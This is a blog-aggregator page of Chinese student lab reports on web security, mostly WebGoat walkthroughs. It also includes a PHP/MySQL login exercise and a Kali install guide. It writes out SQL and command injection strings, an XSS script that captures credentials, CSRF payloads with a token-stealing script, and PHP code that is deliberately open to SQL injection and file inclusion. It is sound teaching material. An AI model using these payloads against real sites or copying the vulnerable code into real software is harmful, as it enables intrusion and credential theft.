GVKun编程网logo

2018-2019-2 20165330《网络对抗技术》Exp9 Web安全基础(网络对抗技术主要包括)

15

针对2018-2019-220165330《网络对抗技术》Exp9Web安全基础和网络对抗技术主要包括这两个问题,本篇文章进行了详细的解答,同时本文还将给你拓展#2019-2020-220175308

针对2018-2019-2 20165330《网络对抗技术》Exp9 Web安全基础网络对抗技术主要包括这两个问题,本篇文章进行了详细的解答,同时本文还将给你拓展# 2019-2020-2 20175308杨元 《网络对抗技术》Exp8 Web基础、20165330《网络对抗技术》Exp0 Kali 安装、2017-2018-2 20155303『网络对抗技术』Exp9:Web安全基础、2017-2018-2 《网络对抗技术》20155322 Exp9 web安全基础等相关知识,希望可以帮助到你。

本文目录一览:

2018-2019-2 20165330《网络对抗技术》Exp9 Web安全基础(网络对抗技术主要包括)

2018-2019-2 20165330《网络对抗技术》Exp9 Web安全基础(网络对抗技术主要包括)

<div id="f">目录</div>

  • 基础问题
  • 实验目的
  • 实验内容
  • 实验步骤
  • 实验总结与体会

<div id="i">实验目的</div> ---------- - 本实践的目标理解常用网络攻击技术的基本原理。

返回目录


<div id="a">实验内容</div> ---------- - [WebGoat准备工作](#g) - [SQL注入攻击](#1) - 命令注入(Command Injection) - 数字型SQL注入(Numeric SQL Injection) - 日志欺骗(Log Spoofing) - 字符串型注入(String SQL Injection) - LAB: SQL Injection - 数据库后门(Database Backdoors) - 数字型盲注入(Blind Numeric SQL Injection) - 字符串型盲注入(Blind String SQL Injection) - [XSS攻击](#2) - Phishing with XSS 跨站脚本钓鱼攻击 - Stored XSS Attacks 存储型XSS攻击 - Reflected XSS Attacks 反射型XSS攻击 - [CSRF攻击](#3) - Cross Site Request Forgery(CSRF) - CSRF Prompt By-Pass - CSRF Token By-Pass

返回目录


<div id="b">基础问题</div> ---------- - SQL注入攻击原理,如何防御 >- SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。如通过在用户名、密码登输入框中输入一些`''`,`--`,`#`等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。 >- 防御: > - 检查变量数据类型和格式 > - 对无法确定固定格式的变量,进行特殊符号过滤或转义处理 > - 绑定变量,使用预编译语句

  • XSS攻击的原理,如何防御
  • 全称为跨站脚本攻击,是一种网站应用程序的安全漏洞攻击。攻击者通过往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
  • 防御:
    • 在表单提交或者url参数传递前,对需要的参数进行过滤
    • 检查用户输入的内容中是否有非法内容
  • CSRF攻击原理,如何防御
  • 全程为跨站域请求伪造,攻击者借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的。所以其实CSRF可以看做是XSS攻击的一种。
  • CSRF的攻击分为两步,首先要注入恶意URL地址,然后在该地址中写入攻击代码,利用<img> 等标签或者使用Javascript脚本。
  • 防御:
    • 通过referer、token或者验证码来检测用户提交
    • 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作
    • 避免全站通用的cookie,严格设置cookie的域

返回目录


<div id="c">实验步骤</div> ---------- ### <div id="g">一、WebGoat准备工作</div> >WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。其运行在带有java虚拟机的平台之上,并提供了一系列web安全学习的教程,来指导用户利用这些漏洞进行攻击。 - 下载jar包:[webgoat-container-7.0.1-war-exec.jar](https://github.com/WebGoat/WebGoat/releases/tag/7.0.1) ![image](https://img2018.cnblogs.com/blog/1291750/201905/1291750-20190517132210173-531275654.png) 这个下载好慢。。迟迟下不下来的我下载了[webgoat-container-7.0-SNAPSHOT-war-exec.jar](https://s3.amazonaws.com/webgoat-war/webgoat-container-7.0-SNAPSHOT-war-exec.jar)也是可以进行后续实验的!! - 终止占用8080端口的其他进程 - 因为WebGoat默认使用8080端口 - 先查看8080端口是否被占用:`netstat -tupln | grep 8080` - 如果被占用,用`kill 进程号`或`kill -s 9 进程号`终止占用8080端口的进程 - 查看是否安装有JDK:`java -version`查看jdk版本 ![image](https://img2018.cnblogs.com/blog/1291750/201905/1291750-20190517205339952-140965116.png) - 开启WebGoat:`java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar` - 在看到信息`Starting ProtocolHandler ["http-bio-8080"]`这一条消息之后就可以进行下一步了~ - 浏览器中打开WebGoat登录界面:`http://localhost:8080/WebGoat`(在界面里我们可以看到给出了两组用户名和密码,可以直接使用登陆) ![image](https://img2018.cnblogs.com/blog/1291750/201905/1291750-20190517220210303-296927436.png) - 成功登录后可在左侧看到实践课程 ![image](https://img2018.cnblogs.com/blog/1291750/201905/1291750-20190517220312798-1282007562.png)

<div id="1">二、SQL注入攻击</div>

1. 命令注入(Command Injection)

目标:能够在目标主机上执行任何系统命令

  • 点击Injection Flaws-Command Injection
  • 右键点击复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig" image
  • 点击view,可查看到命令执行结果 image
  • 正常的结果是这样的 image
2. 数字型SQL注入(Numeric SQL Injection)

目标:显示天气情况

  • 点击Injection Flaws-Numeric SQL Injection
  • 右键点击复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1 image
  • 点击Go,可以看到攻击成功 image 左上角的符号表明做对了~
3. 日志欺骗(Log Spoofing)

目标:使用户名为admin的用户在日志中显示成功登录

  • 点击Injection Flaws-Log Spoofing
  • User Name中填入webgoat%0d%0aLogin Succeeded for username: admin,利用回车0D%和换行符%0A让其在日志中两行显示
  • 输入密码后点击Login,可以看到webgoatLogin Fail那行显示,我们自己添加的语句在下一行显示 image
  • 此外,攻击者可以向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。
    • 在用户名中输入admin <script>alert(document.cookie)</script>,管理员可以看到弹窗的cookie信息
4. 字符串型注入(String SQL Injection)

目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。

  • 点击Injection Flaws-String SQL Injection
  • 输入查询的用户名Smith'' or 1=1--
    • 操作中我们使用了''提前闭合"",插入永真式1=1,且--注释掉后面的内容,这样就能select表里面的所有数据
    • 结果如下: image
5. LAB: SQL Injection

使用SQL注入绕过认证。

  • 在密码框输入'' or 1=1 --,登录失败,会发现密码只有一部分输入,说明密码长度有限制。 image
  • 我们在密码框右键选择inspect Element审查网页元素对长度进行修改 image
  • 重新输入'' or 1=1 --,登录成功 image
6. 数据库后门(Database Backdoors)

数据库通常作为一个Web应用程序的后端来使用。此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另一个数据库操作,如insert,select,update or delete。 攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email 地址设置为攻击者的地址。

  • 输入101,得到该用户的信息 image 可以发现,输入的语句没有验证,很容易进行 SQL 注入。
  • 输入注入语句101; update employee set salary=10000(这里执行了两个语句,中间需要用分号分隔) image
  • 设置触发器:101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=''john@hackme.com'' WHERE userid = NEW.userid image
  • 由于WebGoat 使用的是MySQL数据库,不支持触发器,因此该课程并不能在这里真正实现。
7. 数字型盲注入(Blind Numeric SQL Injection)

某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。

  • 服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN 数值。尽管如此,我们可以利用系统后台在用的查询语句:SELECT * FROM user_data WHERE userid=accountNumber;
    • 如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。
  • 使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效:
    101 AND 1=1
    101 AND 1=2`
    

第一个语句中,两个条件都成立,所以页面返回Account number is valid;而第二条则返回帐号无效

  • 现在针对查询语句的后半部分构造复杂语句。下面的语句可以告诉我们PIN数值是否大于10000:101 AND ((SELECT pin FROM pins WHERE cc_number=''1111222233334444'') > 10000 );
    • 如果页面提示帐号有效,说明PIN>10000 否则 PIN<=10000
  • 不断调整数值,可以缩小判断范围,并最终判断出PIN 数值的大小。最终如下语句返回帐号有效:101 AND ((SELECT pin FROM pins WHERE cc_number=''1111222233334444'') = 2364 );
  • 在查询框中输入2364并提交 image
8. 字符串型盲注入(Blind String SQL Injection)

目标:找到pins表中cc_number字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交。

  • 这里我们查询的字段是一个字符串而不是数值,与上一节类似我们同样可以通过注入的方式查找到该字段的值:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=''4321432143214321''), 1, 1) < ''H'' ); (该语句使用了SUBSTRING 方法,取得pin 字段数值的第一个字母,并判断其是否比字母“H”小。)
  • 经过多次测试(比较0-9A-Za-z等字符串)和页面的返回数据,判断出第一个字符为J。同理继续判断第二个字符:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=''4321432143214321''), 2, 1) < ''h'' );
  • 最终,判断出pin字段的值为Jill,提交该值。 image

<div id="2">三、XSS攻击</div>

1. Phishing with XSS 跨站脚本钓鱼攻击

在XSS的帮助下,我们可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。目标是创建一个form,要求填写用户名和密码。

  • 一个带用户名和密码输入框的表格如下:
    <form>
    <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
    Enter Username:<br><input type="text" id="user" name="user"><br> 
    Enter Password:<br><input type="password" name = "pass"><br> 
    </form><br><br><HR>
    
  • XSS-Phishing with XSS搜索上面代码,可以看到页面中增加了一个表单 image
  • 现在我们需要一段脚本:
    <script>
    function hack()
    { 
        alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
        XSSImage=new Image; 
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
    }
    </script>
    
    • 这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
  • 将上面两段代码合并搜索
    <script>
    function hack()
    { 
      alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
      XSSImage=new Image; 
      XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
    } 
    </script>
    <form>
    <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
    Enter Username:<br><input type="text" id="user" name="user"><br> 
    Enter Password:<br><input type="password" name = "pass"><br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form><br><br><HR>
    
  • 我们在搜索到的表单中输入用户名和密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们。 image
2. Stored XSS Attacks 存储型XSS攻击

目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。

  • 在Message中构造语句<script>alert("20165330 attack succeed!");</script>,Title任意输入。提交后可发现刚创建的帖子5330
  • 点击5330,然后会弹出一个对话框,证明XSS攻击成功。 image
3. Reflected XSS Attacks 反射型XSS攻击

XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

  • Enter your three digit access code:中输入<script>alert("I am 20165330");</script>点击Purchase,成功显示警告框,内容为我们script脚本指定的内容。 image
  • 若我们输入上一课程的脚本,其原理相同,也会成功。 image

<div id="3">四、CSRF攻击</div>

1. Cross Site Request Forgery(CSRF)

CSRF通过伪装来自受信任用户的请求来利用受信任的网站。目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。

  • 点击XSS-Cross Site Request Forgery(CSRF)
  • 查看页面右下方Parameters中的src和menu值,我的分别为309900
  • 在Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
  • 输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。 image
2. CSRF Prompt By-Pass
  • 点击XSS-CSRF Prompt By-Pass
  • 同上面的攻击,查看页面右下方的Parameters中的src和menu值,我的分别为320和900,并输入任意的Title,message框中输入代码
    <iframe src="attack?Screen=320&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>
    
  • 点击Submit生成以Title命名的链接,点击链接,攻击成功 image
3. CSRF Token By-Pass

目标是向包含恶意转账请求的新闻组发送电子邮件。要成功完成,需要获取有效的请求令牌。显示转账表单的页面包含有效的请求令牌。转账页面的URL是“攻击”servlet,带有本课的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds=main”。加载此页面,读取令牌并将令牌附加到伪造的请求中,以转移资金

  • 点击XSS-CSRF Token By-Pass
  • 查看网页http://local host:8080/WebGoat/attack?Screen=728&menu=900&transferFunds=main生成的资金转账页面的表单内容。 image
  • 右键查看源代码,可以看到Token参数
    <form accept-charset=''UNKNOWN'' id=''transferForm'' method=''POST'' action=''#attack/728/900'' enctype=''application/x-www-form-urlencoded''>
    <input name=''transferFunds'' type=''text'' value=''0''>
    <input name=''CSRFToken'' type=''hidden'' value=''79375628''>
    <input type=''submit''>
    </form>
    
  • 结合上面的token值构造伪造的URL,附加转账参数4000。下面是我从网上教程中找到的一段代码,通过frame->forme的路径可以读取并保存CSRFToken参数:
    <script>
    var tokenvalue;
    // Step 2 :窃取token
    function readFrame1()
    {
       var frameDoc = document.getElementById("frame1").contentDocument;
       var form = frameDoc.getElementsByTagName("form")[1];
       var token = form.CSRFToken.value;
       tokenvalue = ''&CSRFToken=''+token;    
       loadFrame2();
    }
    //Step 3 :结合token值构造伪造的URL,附加转账参数4000
    function loadFrame2()
    {
       var testFrame = document.getElementById("frame2");
       testFrame.src="?transferFunds=4000"+tokenvalue;	
    }
    </script>
    <!-- Step 1 :给出的是正常的页面,其实已经加载了一个js脚本,来获取token-->
    <iframe	src="http://localhost:8080/WebGoat/attack?Screen=728&menu=900&transferFunds=main" onload="readFrame1();" id="frame1" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe>
    <!-- Step 4 :将构造的URL发送给Server并生效-->
    <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe>
    
  • 点击Submit后查看以Title命名的链接 image 不知道为啥我的显示是这样的。。。

返回目录


<div id="j">实验总结与体会</div> ---------- - 本次实践都是在webgoat上完成,就类似以前接触的实验楼,都有指导,这也加深了我对XSS攻击、SQL注入以及CSRF攻击的理解。虽然一开始下载jar包就用了好久时间,但对于行不通的方法真的要好好找资料换其他可行的方法,实践不止局限于课程中的指导,不断地查资料会让自己了解的更全面!

参考资料

  • Webgoat安装
  • 安装使用WebGoat
  • WebGoat中文手册

# 2019-2020-2 20175308杨元 《网络对抗技术》Exp8 Web基础

# 2019-2020-2 20175308杨元 《网络对抗技术》Exp8 Web基础

2019-2020-2 20175308杨元 《网络对抗技术》Exp8 Web基础

实践目标及内容

实践内容

(1)Web前端HTML(0.5分)
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
(2)Web前端javascript(0.5分)
理解JavaScript的基本功能,理解DOM。编写JavaScript验证用户名、密码的规则。
(3)Web后端:MysqL基础:正常安装、启动MysqL,建库、创建用户、修改密码、建表(0.5分)
(4)Web后端:编写PHP网页,连接数据库,进行用户认证(0.5分)
(5)最简单的sql注入,XSS攻击测试(0.5分)
功能描述:用户能登陆,登陆用户名密码保存在数据库中,登陆成功后显示欢迎页面。
课题负责人需要完成:登陆后可以发帖;会话管理

实践步骤

Web前端HTML

Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。

1. Kali默认安装好了Apache,在kali上可以使用命令sudo service apache2 start打开Apache服务器。如果没有任何错误提示即成功开启

此时在浏览器中输入“127.0.0.1”即可打开Apache的默认网页。

2. 输入cd /var/www/html进入到Apache目录下,新建html文件form_test.html,内容如下:

<html lang="en" dir="ltr">
  <head>
    <Meta charset="utf-8">
    <title>This a test for form</title>
     <link href="login.css" rel="stylesheet" type="text/css"/>
  </head>
  <body>
    <div id="login">
      <h1>Login</h1>
  		<center>
          <form action="login" method="post">
              <input type="text" placeholder="用户名" name="username" id="uname"  required="required" autocomplete="off">
              <br>
              </br>
              <input type="password" placeholder="密码" name="password" required="required" autocomplete="off">
              <br>
              </br>
              <buttontype="reset">重置</button>
              <buttontype="submit">登录</button>
          </form>
  		</center>
    </div>
  </body>
</html>

3. 在浏览器地址栏中输入/var/www/html/form_test.html打开我们新建的网页。

Web前端javascript

JavaScript(简称“JS”) 是一种具有函数优先的轻量级,解释型或即时编译型的高级编程语言。它作为开发Web页面的脚本语言而出名。

1. 在原有的form_test.html的基础上可以添加一段JavaScript代码。实现诸如输入检查的效果。例如输入用户名只能由英文和数字组成,不能输入汉字,即可通过javascript来实现相关检查:

<html lang="en" dir="ltr">
  <head>
    <Meta charset="utf-8">
    <title>This a test for form</title>
     <link href="login.css" rel="stylesheet" type="text/css"/>
  </head>
  <body>
    <script language="javascript">
    function ischinese(){
    var username=document.getElementById("uname").value;
      var ret=true;
      for(var i=0;i<username.length;i++){
          ret=ret&&(username.charCodeAt(i)>=10000);
      }
      if(ret){
        alert("用户名不能输入中文!");
      }
    }
    </script>
    <div id="login">
      <h1>Login</h1>
  		<center>
          <form action="login" method="post">
              <input type="text" placeholder="用户名" name="username" id="uname"  required="required" autocomplete="off" onblur="ischinese()">
              <br>
              </br>
              <input type="password" placeholder="密码" name="password"  required="required" autocomplete="off">
              <br>
              </br>
              <buttontype="reset">重置</button>
              <buttontype="submit">登录</button>
          </form>
  		</center>
    </div>
  </body>
</html>

2. 打开网页,效果如下

Web后端 MysqL基础

1. kali已经默认安装好了MysqL,直接输入/etc/init.d/MysqL start开启MysqL服务:

2. 输入MysqL -u root -p使用root权限进入,默认的密码为password

3. 输入show databases;可以查看数据库的基本信息:

4. 输入use MysqL;选择使用MysqL这个数据库

5. 输入select user,password,host from user;查看当前用户信息:

6. 输入update user set password=PASSWORD("20175308") where user='root';将root用户的密码修改为20175308:

7. 输入flush privileges;

8. 输入exit退出数据库,使用新密码进行登录(现在密码已经修改为“20175308”)
9. 输入create database fomalhaut;建立数据库fomalhaut:

10. 再次查看数据库可以发现新建的fomalhaut数据库

11. 使用我们刚刚创建的数据库:

12. 输入create table 表名 (字段设定列表);建立数据库表,并设置字段基本信息:

13. 输入show tables查看表信息:

14. 输入insert into 表 value ('value1','vlue2')向表中插入信息

15. 输入select * from user可以查看user表中的数据,这里我们可以看到我们刚刚插入的信息。

16. 使用grant select,insert,update,delete on 数据库.* to 用户名@登录主机(可以是localhost,也可以是远程登录方式的IP) identified by "密码";(即将对整个数据库的select,insert,update,delete权限都赋给新用户)在MysqL中增加新用户

17. 现在我们可以通过新用户进行登录了

Web后端 编写PHP网页

1./var/www/html目录下新建测试文件PHPtest.PHP,输入以下内容:

<?PHP
echo ($_GET["a"]);
include($_GET["a"]);
echo "Hello word! I am 20175308<br>";
?>

2. 在浏览器地址栏输入localhost:80/PHPtest.PHP,查看PHP内容

3. 可以在浏览器地址栏输入localhost:80/PHPtest.PHP?a=/etc/passwd,可以看到/etc/passwd文件的内容:

4./var/www/html目录下新建login.PHP输入以下内容:

<?PHP
$uname=$_POST["Name"];
$pwd=$_POST["Password"];
echo $uname;
$query_str="SELECT * FROM login where username='$uname' and password='$pwd';";
$MysqLi = new MysqLi("127.0.0.1", "yy20175308", "20175308", "fomalhaut");
$query_str1="fomalhaut;";

/* check connection */if ($MysqLi->connect_errno) {
    printf("Connect Failed: %s\n", $MysqLi->connect_error);
    exit();
}
echo "connection ok!";
/* Select queries return a resultset */if ($result = $MysqLi->query($query_str1))
echo"<br>Success into database!";
echo$uname;
if ($result = $MysqLi->query($query_str)) {
    if ($result->num_rows > 0 ){
            echo "<br> {$uname}:Welcome!!! <br> ";
    } 
    else {
        echo "<br> login Failed!!!! <br> " ; }
    /* free result set */
    $result->close();
}
$MysqLi->close();
?>

然后回到form_test.html将form表单中的action修改为“login.PHP”
5. 直接在浏览器内输入127.0.0.1/login.PHP,连接数据库成功,但因为没有输入用户名密码,所以登录失败。

6. 先打开form_test.PHP,完成登录操作再跳转到login.PHP时会显示登录成功:

最简单的sql注入,XSS攻击测试

sql注入

1. 打开127.0.0.1/form_test.html

2. 用户名输入框中输入' or 1=1#,密码栏则可以随意输入,我们发现它还是会登录成功!

3. 会出现这样的结果是因为,当我们输入' or 1=1#时,整个数据库查询语句变为了select * from user where username='' or 1=1#' and password='',这里面“#”起到的作用相当于注释,即后面对密码的判断都被注释掉了,前文判断中1=1是一个永真式,所以这个句话的结果永远是true。

XSS攻击

1. 将一张图片放在/var/www/html目录下,起名为img1.JPG
2. 打开登录页面,在用户名输入框中输入img src=“img1.JPG”/,随便输入密码
3. 可以发现成功读取到这个图片!

课题负责人需要完成:登陆后可以发帖;会话管理

在网站中,我们经常需要跟踪一个变量:通过对变量的跟踪,使多个请求事物之间建立联系,再根据授权和用户身份显示不同的内容、不同页面。这就是会话控制技术。

HTTP协议是WEB服务器与浏览器相互通信的协议,它是一种无状态协议,即每个HTTP请求之间是相互独立的。因此,HTTP协议没有一个内建的机制来维护两个事务之间的状态。比如,当一个用户在请求一个页面后再去请求另外一个页面时,HTTP将无法搞碎我们这两个请求是否来自同一个用户。因此,我们启用会话控制技术来解决这个问题。常用的会话控制技术有CookieSession。简单地说,Cookie 是通过在客户端中记录信息而确定用户身份;Session 是通过在服务器端记录信息而确定用户身份。

会话控制

1. 在本次实验中,我选择用Cookie实现一个比较浅显的cookie设置。cookie的大致使用方法如下:

设置并发送cookie: 
setcookie(name,value,expire,path,domain,secure)
————————————————————————————————————————————————
name:必需。规定cookie的名称。
value:必需。规定cookie的值。
expire:可选。规定cookie的有效期。有效期过后cookie失效
path:可选。规定cookie的服务器路径。
domain:可选。规定cookie的域名。
secure:可选。规定是否通过安全的HTTPS连接来传输cookie。
————————————————————————————————————————————————

获取cookie:
$_COOKIE['cookiename']; 

判断cookie是否存在:
isset($_COOKIE['cookiename']);

2. 修改之前实验中的form_test.html(也就是第一个登录界面),增加一个选择是否记住登录状态的checkBox

input type="checkBox" name="rememberMe" value="yes" />记住我的登录

3. 修改login.PHP,登录成功时加入设置并发送cookie的过程。

...
$ifcookie=$_POST["rememberMe"];
...
if($ifcookie=="yes"){
setcookie('user',$uname,time()+1000*60);
}
else{
setcookie('temporary',$uname,time()+60);//为了方便演示我仅设置了1分钟的有效期
}

在我的设置中,无论是否勾选记住我的登录,都要产生一个cookie用来控制只有经过登录才能访问后续操作。所以这里勾选产生的是一个有效期长的目的是用于免登陆的cookie,不勾选则产生仅代表本次登录的短实效的cookie。
4. 当成功登录后,按f12可以查看到产生的cookie

5. 后续页面中进行以下判断,当cookie失效后会强制要求重新登录。(提示登录状态失效后一秒钟后跳转回登录页面)

登录后可以发帖

这里我只对这个功能进行了简单的实现,没有精细完善这个功能。距离现实使用的论坛发帖配套功能可以说是一应具缺。。。
1. 增加post.PHP,作为用户登录后进行发帖的页面。

2. 新建display.PHP显示用户的帖子:

实验总结与问题回答

基础问题回答

(1)什么是表单
表单可以进行前台向后台的数据传输。
表单有三个基本组成部分:
(1)表单标签:包含处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。
(2)表单域:包含文本框、密码框、多行文本框等一系列表单形式。
(3)表单按钮:包含提交按钮,复位按钮以及一般按钮
(2)浏览器可以解析运行什么语言

  • HTML(超文本标记语言)
  • XML(可扩展标记语言)
  • Python
  • PHP
  • JavaScript
  • ASP等众多脚本语言

(3)WebServer支持哪些动态语言

  • ASP
  • JSP
  • PHP
  • Ruby等

实验心得

Web方面的知识其实上学期的课程中就接触过,并且做了一个小项目,本学期的课程设计再次锤炼了一遍。但本次实验是在kali上使用PHP实现,还是有很大的新鲜感。

20165330《网络对抗技术》Exp0 Kali 安装

20165330《网络对抗技术》Exp0 Kali 安装

Kali 安装

下载地址
  • Kali 官网
  • VMware
安装步骤

参考在虚拟机中安装 kali linux

  • 安装 Kali Linux 的镜像和 VMware
  • 打开 VMware,选择文件 - 新建虚拟机,出现对话框选择典型 - 下一步 image
  • 选择稍后安装操作系统,点下一步 image
  • 选择 Linux,版本选择 Ubutun image
  • 制定磁盘容量默认 20G image
  • 接着在下一步的对话框中选择自定义硬件 - 新CD/DVD- 使用ISO映像文件,将下载好的 Kali 镜像的地址加到其中 image
  • 设置好后点击完成,开始启动虚拟机
  • 进入虚拟机显示下图,选择 Graphical install,进入下载 image
  • 语言选择中文简体,点击继续后地区选择中国 image
  • 网络配置中输入主机名后,点击返回,选择不进行网络设置,点击继续 image
  • 设置用户名和密码 image
  • 进入磁盘选择使用整个磁盘,点击继续,点击新手使用,然后点击继续选择结束分区后继续,选择 image
  • 开始安装系统 image
  • 此刻电脑会询问是否安装网络镜像,选择 image
  • 接着会提示安装 grub,点击并且点击继续 image
  • 在引导安装的位置选择里面 sda,然后等待安装完成,点击继续 image image
  • 进入系统登陆界面,输入用户名 root 和设置的密码,点击登陆 image image
安装 Tools
  • 选择工具栏中的虚拟机 - 安装Tools
  • 此时虚拟机桌面出现一个光盘,双击打开光盘,把压缩包拖到 Home 去 image
  • 打开终端,输入 ls 命令查看是否有压缩包,然后输入 tar -zxvf 压缩包名称解压 image
  • 解压好后,输入 ls 查看解压后的文件,使用 cd 进入该文件,输入./vmware-install.pl 运行脚本安装 Tools image
  • 安装过程中一直按 Enter 键直至安装完成即可 image
  • 重启虚拟机进入,会发现虚拟机显示变大 (换了壁纸后 ^^) image
网络设置
  • 首先再关闭虚拟机的情况下,打开工具栏虚拟机 - 设置,找到网络适配器 -NAT模式(一般这样就可以连接到网络) image
  • 打开虚拟机命令行,输入 vim /etc/network/interfaces,加入下图中的后两行 image
  • 保存后输入 /etc/init.d/networking restart 重启网络,使配置生效
  • 若在右上角网络连接显示未托管情况,在命令行中输入 leafpad /etc/NetworkManager/NetworkManager.conf,把最后一行的 managed=false 改为 managed=true,保存后重启虚拟机 (或者重启电脑。。我的是重启电脑后就正常连接可以上网) image image
  • 还有都设置了也不能上网,就需要关闭虚拟机,在编辑 - 虚拟机网络编辑器 - 更改设置 - 还原默认设置,进行网络重置,确定后开启虚拟机就可上网!
设置共享文件夹
  • 因为前面已安装好 Tools,此时我们找到工具栏虚拟机 - 设置 - 选项 - 共享文件夹,选择总是启用,并添加要共享的文件夹,选择好后选择下一步,直到完成,记得要点击确定! image
  • 然后在命令行中输入 cd /mnt/hgfs,在输入 ls 可查看到共享文件夹 image image
软件源
  • 安装数据源(关于为何更新数据源,这里给出了解释),一些更新源在 Kali Linux 更新源

更新源

  • 命令行中输入 leafpad /etc/apt/sources.list 打开源设置文件
  • source.list 文件清空,只保存如下信息(此处为 Kali 官方源):deb http://http.kali.org/kali kali-rolling main non-free contrib
  • 输入 apt-get update 开始更新 image

输入法(参考给 VMware kali 装中文输入法)

  • 输入 apt-get install ibus ibus-pinyin 下载输入法 image
  • 开启输入法:设置 -> 区域和语言 -> 输入源 -> 选择 Pinyin 如下 image
  • shift+windows+空格即可调出输入法,重启虚拟机 (多重启几次。。) 即可打出中文

安装过程中遇到的问题

  • 在一开始进入虚拟机选择 Graphical install 后,出现错误提示 end Kernel panic-not syncing:corrupted stack end detected inside scheduler image

解决方法:在百度后发现是 Linux 与 VM 不兼容的原因,当时我安装的 VM 是 10.0.1 版本的,在卸载安装 14.1.2 版本后成功安装

2017-2018-2 20155303『网络对抗技术』Exp9:Web安全基础

2017-2018-2 20155303『网络对抗技术』Exp9:Web安全基础

<h1 align = "center"><span><font face="方正小标宋简体" size=6>2017-2018-2 『网络对抗技术』Exp9:Web安全基础</font></span></h1>

<a name="ALL"></a> ##<h1 align = "center">————————CONTENTS————————</h1>

  • <font face="华文中宋" size=4>一.基础问题回答</font>
    • <font face="华文中宋" size=4>1.SQL注入攻击原理,如何防御?</font>
    • <font face="华文中宋" size=4>2.XSS攻击的原理,如何防御?</font>
    • <font face="华文中宋" size=4>3.CSRF攻击原理,如何防御?</font>
  • <font face="华文中宋" size=4>二.实践过程记录</font>
    • <font face="华文中宋" size=4>1.General</font>
      • ①Http Basics
    • <font face="华文中宋" size=4>2.Code Quality</font>
      • ①Discover Clues in the HTML
    • <font face="华文中宋" size=4>3.Cross-Site Scripting(XSS)</font>
      • ①Phishing with XSS
      • ②Stored XSS Attacks
    • <font face="华文中宋" size=4>4.Injection Flaws</font>
      • ①Command Injection
      • ②Numberic SQL Injection
      • ③Log Spoofing
      • ④XPATH Spoofing
      • ⑤LAB:SQL Injection
      • ⑥String SQL Injection
      • ⑦Database Backdoors
      • ⑧Blind Numberic SQL Injection
      • ⑨Blind String SQL Injection
  • <font face="华文中宋" size=4>三.实践总结及体会</font>
  • <font face="华文中宋" size=4>附:参考资料</font>

<a name="1"></a> ###<h1 align = "center">一.基础问题回答</h1>

